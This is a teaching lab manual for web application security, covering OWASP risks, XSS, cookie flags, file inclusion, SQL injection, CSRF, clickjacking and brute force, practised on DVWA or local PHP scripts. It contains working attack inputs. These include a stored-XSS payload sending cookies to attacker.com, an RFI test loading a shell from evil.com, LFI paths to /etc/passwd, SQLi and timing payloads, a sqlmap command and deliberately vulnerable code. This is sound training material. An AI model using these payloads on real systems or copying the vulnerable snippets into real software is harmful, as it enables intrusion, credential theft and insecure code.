Module 1: Introduction and Tools Setup

Lab 1.1: Why Do We Need Security on the Web?

Objective: Understand the motivations for web security and the consequences of poor security practices.

Tools Required:

- **Web browser (Chrome/Firefox)**
- **Internet access**

Instructions:

1. **Research recent high-profile web security breaches (e.g., Equifax, SolarWinds).**
2. **List how data was compromised and what the impacts were.**
3. **Discuss the importance of proactive security controls.**

Discussion Questions:

- **What are common attack surfaces in modern web apps?**
- **Why is HTTPS alone not enough to protect web resources?**

Lab 1.2: Introduction to OWASP Top 10

Objective: Get familiar with the OWASP Top 10 list and how each threat affects web security.

Instructions:

1. **Visit https://owasp.org/www-project-top-ten/**
2. **Read and summarize each of the top 10 vulnerabilities.**
3. **Match each vulnerability with a real-world example.**

Discussion Questions:

- **Which OWASP risks can be detected with automated tools?**
- **Which require manual testing?**

Lab 1.3: Setting Up Developer Tools

Objective: Learn how to use Chrome and Firefox Developer Tools.

Steps:

1. **Open any website.**
2. **Press F12 to launch DevTools.**
3. **Explore the Elements, Network, and Console tabs.**
4. **Observe how cookies and HTTP requests are displayed.**

Screenshot Example: Include a screenshot of the Network tab showing a GET request and headers.

Lab 1.4: Installing and Using Fiddler

Objective: Capture and inspect HTTP/S traffic.

Instructions:

1. **Download Fiddler Classic from https://www.telerik.com/fiddler**
2. **Install and run it.**
3. **Open a browser and visit a site (e.g., http://example.com)**
4. **Observe captured requests.**

Optional: Use Burp Suite as an alternative.

Lab 1.5: Understanding and Modifying HTTP Requests

Objective: Modify requests in transit to understand how parameters can be manipulated.

Instructions:

1. **Use Fiddler or Burp Suite.**
2. **Modify headers (User-Agent, Referer) and resubmit the request.**
3. **Inject script tags in input fields.**

Discussion:

- **What are the signs of insecure request handling?**
- **How do web servers respond to malformed requests?**

Lab 1.6: Transport Layer Protection

Objective: Examine the importance of HTTPS and HSTS headers.

Steps:

1. **Visit http://httpforever.com and https://httpforever.com**
2. **Use DevTools to compare requests.**
3. **Use https://securityheaders.com to check for HSTS and other headers.**

Challenge: Setup a self-hosted HTTPS site using XAMPP and Let's Encrypt locally.

Module 2: XSS and Cookie Hijacking

Lab 2.1: Identifying Untrusted Data

Objective: Understand how user-controlled data enters applications and becomes a risk.

Tools:

- Browser (Chrome)
- Simple PHP web server or DVWA

Steps:

1. Setup DVWA (Damn Vulnerable Web App) on localhost.
2. Navigate to the XSS (Reflected) section.
3. Enter input such as <script>alert('XSS')</script>.
4. Analyze how this input is reflected unsanitized.

Discussion:

- Where in your app is user data entering?
- Are there any filters applied?

Lab 2.2: Reflected XSS – Basics and Testing

Objective: Demonstrate a working reflected XSS attack.

Tools:

- DVWA or custom PHP script

Steps:

1. Open DVWA > XSS (Reflected)
2. Inject payload: <script>alert("Gotcha")</script>
3. Observe the alert box

Follow-up:

- Test other payloads: <img src=x onerror=alert('X')>

Lab 2.3: Stored XSS Attacks

Objective: Store a malicious script and have it execute for another user.

Steps:

1. Use DVWA > XSS (Stored)
2. Enter comment: <script>fetch('http://attacker.com/cookie?'+document.cookie)</script>
3. Open the page from another browser/profile

Discussion:

- How could this exfiltrate data?
- What storage mechanisms are vulnerable?

Lab 2.4: DOM-based XSS

Objective: Understand and exploit DOM-based XSS.

Tools:

- Custom HTML file:

```
<html><body>

<input id="name"><button onclick="greet()">Greet</button>

<script>

function greet() {

 var name = location.hash.substring(1);

 document.write("Hello " + name);

}

</script></body></html>
```

Steps:

1. Save and open file locally.
2. Add #<script>alert(1)</script> to URL

Lab 2.5: Preventing XSS

Objective: Apply escaping/encoding best practices.

Steps:

1. Modify vulnerable code to use htmlspecialchars() in PHP
2. Re-test earlier payloads

Lab 2.6: Secure Cookie Flags: HttpOnly, Secure

Objective: Prevent access to cookies via JavaScript and insecure channels.

Steps:

1. Set cookies with and without HttpOnly flag using PHP:

```
setcookie("token", "secret", ['httponly' => true]);
```

2. Try accessing via JavaScript: console.log(document.cookie)

Lab 2.7: Limiting Cookie Access via Path

Steps:

1. Set cookie with path=/admin
2. Try accessing cookie on non-admin pages

Lab 2.8: Using Temporary Cookies

Objective: Use session cookies instead of persistent ones.

Steps:

1. Set cookie with no expires flag (session cookie)
2. Close and reopen browser to see if it persists

Module 3: Server-Side Vulnerabilities and Risk Profiling

Lab 3.1: Fingerprinting HTTP Servers

Objective: Identify the server software and technology stack.

Tools:

- Browser
- curl or Wappalyzer

Steps:

1. Use curl: curl -I http://localhost
2. Examine Server header.
3. Install Wappalyzer plugin in browser.
4. Navigate to websites and identify technologies.

Discussion:

- What information can attackers use from headers?
- Should the server version be hidden?

Lab 3.2: Information Disclosure through robots.txt

Objective: Understand how robots.txt can unintentionally leak sensitive data.

Steps:

1. Create a file robots.txt with:

```
User-agent: *

Disallow: /admin

Disallow: /backup
```

2. Host it in the root directory.
3. Access it from browser and try the disallowed paths.

Discussion:

- What pages should never appear in robots.txt?

Lab 3.3: HTML Source Leakage

Objective: View sensitive data/comments in HTML source.

Steps:

1. Create an HTML file with developer comments:

```
<!-- TODO: Remove admin password from here -->

<!-- admin=admin123 -->
```

2. Open in browser and view source.

Lab 3.4: Diagnostic Error Messages

Objective: Trigger errors and observe stack traces.

Steps:

1. Create a PHP file:

```
<?php echo $undefinedVar; ?>
```

2. Enable display_errors = On in php.ini
3. Refresh and observe errors.

Discussion:

- Why should errors be hidden in production?

Lab 3.5: Manipulating HTTP Parameters

Objective: Modify GET/POST parameters to test logic flaws.

Steps:

1. Create a login form accepting role=admin/user
2. Change role=user to role=admin using DevTools or Burp Suite.

Lab 3.6: Insecure File Uploads

Objective: Test how file uploads can be abused.

Steps:

1. Create an upload form.
2. Attempt to upload .php files with malicious content.
3. Try accessing uploaded files via browser.

Challenge: Bypass MIME and extension checks.

Lab 3.7: Local File Inclusion (LFI)

Steps:

1. Create a PHP script that includes a file via GET parameter:

```
<?php include($_GET['page']); ?>
```

2. Try accessing: ?page=about.php
3. Try LFI payloads: ?page=../../../../etc/passwd

Lab 3.8: Remote File Inclusion (RFI)

Steps:

1. In same PHP script, try including remote file:

```
<?php include($_GET['file']); ?>
```

2. Test with file=http://evil.com/shell.txt

Note: Requires allow_url_include = On in php.ini

Lab 3.9: Fuzz Testing

Objective: Discover unhandled input by fuzzing.

Tools:

- Burp Suite Community Edition

Steps:

1. Use Burp Repeater or Intruder.

Fuzz form parameters with invalid characters: '; -- <script> %00

2. Record and analyze server behavior.

Module 4: SQL Injection and Cross-Site Request Forgery (CSRF)

Lab 4.1: SQL Injection Introduction and Examples

Objective: Understand how unsanitized inputs affect database queries.

Tools:

- DVWA or custom PHP + MySQL setup

Steps:

1. In DVWA, go to SQL Injection module.
2. Enter ' OR 1=1-- in input fields.
3. Observe if login is bypassed or all users are displayed.

Discussion:

- What's the risk of concatenating SQL with user input?

Lab 4.2: Manual SQLi Detection

Steps:

1. Create a PHP script:

```
$id = $_GET['id'];

$query = "SELECT * FROM users WHERE id = '$id'";
```

2. Test inputs: 1, ' OR 1=1--, 1' AND '1'='2
3. Monitor database responses for anomalies.

Lab 4.3: Automating SQLi with sqlmap or Havij

Objective: Use automated tools to detect and exploit SQLi.

Tools:

- sqlmap (https://sqlmap.org)

Steps:

1. Start your test app locally.

2. Run:

```
sqlmap -u "http://localhost/vulnerable.php?id=1" --batch --dbs
```

3. Explore available databases.

Note: Always test in a local, legal environment.

Lab 4.4: Error-Based and Blind SQLi

Steps:

1. Modify PHP to suppress errors (simulate Blind SQLi):

```
error_reporting(0);
```

2. Test payloads that require inference (e.g., timing):

```
' OR IF(1=1, SLEEP(5), 0)--
```

3. Measure response times.

Lab 4.5: Safe Coding Practices – Parameterized Queries

Objective: Refactor vulnerable code using prepared statements.

Steps:

1. Convert vulnerable query:

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
```

2. Confirm that injection no longer works.

Lab 4.6: CSRF – GET vs POST

Objective: Demonstrate how unauthorized actions can be triggered using image tags or forms.

Steps:

1. Create a form that submits via GET to update user data:

```
<img src="http://localhost/change-
password.php?user=1&password=hacked">
```

2. Open the HTML in a different tab while logged into the app.

Discussion:

- What defenses exist against CSRF?

Lab 4.7: CSRF Token Validation and Testing

Objective: Implement and test CSRF tokens.

Steps:

1. Add CSRF token to forms:

```
<input type="hidden" name="token" value="<?= $_SESSION['token'] ?>">
```

2. Validate token on server before processing the form.
3. Try submitting a request without a token.

Challenge: Implement SameSite cookie flag for session cookies.

Module 5: Authentication Attacks and Protections

Lab 5.1: Clickjacking Demonstration and Protection

Objective: Show how iframe-based UI redress attacks work and how to prevent them.

Tools:

- HTML file with iframe
- Simple login page

Steps:

1. Create a fake page:

```
<iframe src="http://localhost/login.php" style="opacity:0.1; position:absolute; top:0; left:0; width:100%; height:100%;"></iframe>
```

2. Add a visible button on top.
3. Click it and observe login submission.

Prevention:

- Add header: X-Frame-Options: DENY

Lab 5.2: Password Strength and Attack Vectors

Objective: Test common weak passwords and brute-force potential.

Steps:

1. Create a login form.
2. Write a script to iterate over a list of passwords.
3. Measure how many attempts are successful with weak vs. strong passwords.

Tools:

- Hydra, Burp Intruder, or manual scripting

Lab 5.3: Password Storage Best Practices

Objective: Hash passwords using best practices.

Steps:

1. Use password_hash() in PHP to store passwords:

$password = password_hash("userpass", PASSWORD_BCRYPT);

2. Use password_verify() to validate.
3. Compare with storing plain text or MD5.

Discussion:

- Why are salts necessary?
- What makes bcrypt better than SHA1/MD5?

Lab 5.4: CAPTCHA Testing and Bypass Scenarios

Objective: Evaluate CAPTCHA strength and possible bypasses.

Steps:

1. Integrate Google reCAPTCHA or create a simple image-based CAPTCHA.
2. Attempt login with automated script.
3. Try submitting requests without solving CAPTCHA.

Challenge: Build a custom math-based CAPTCHA and bypass it by reading the question from the HTML.

Lab 5.5: Brute Force Authentication Testing

Objective: Attempt brute force on a vulnerable login page.

Steps:

1. Setup DVWA or a local form.
2. Use Burp Suite Intruder:
   - Target: POST /login.php
   - Payload: common passwords

3. Detect success via HTTP status or response length.

Mitigations:

- Account lockout
- Rate limiting
- CAPTCHA integration

Lab 5.6: Role of Anti-Forgery Tokens

Objective: Use CSRF tokens to protect login/session functions.

Steps:

1. Add hidden CSRF token field to login form.
2. Validate token in server-side session.
3. Submit form without token and observe rejection.

Extra: Enable token expiration logic.

Lab 5.7: Remember-Me Function Testing

Objective: Securely implement and test “remember me” features.

Steps:

1. Add checkbox to login form.
2. Store a secure, random token in cookie.
3. Link token to server-stored value.

Insecure Variant: Store plain credentials in cookie. Demonstrate risks.

Lab 5.8: Re-authentication before Critical Actions

Objective: Require password confirmation before sensitive actions.

Steps:

1. Create a settings page with "Delete Account" or "Change Password"

2. Require password input again
3. Verify against stored hash

Discussion:

- How does this stop session hijacking?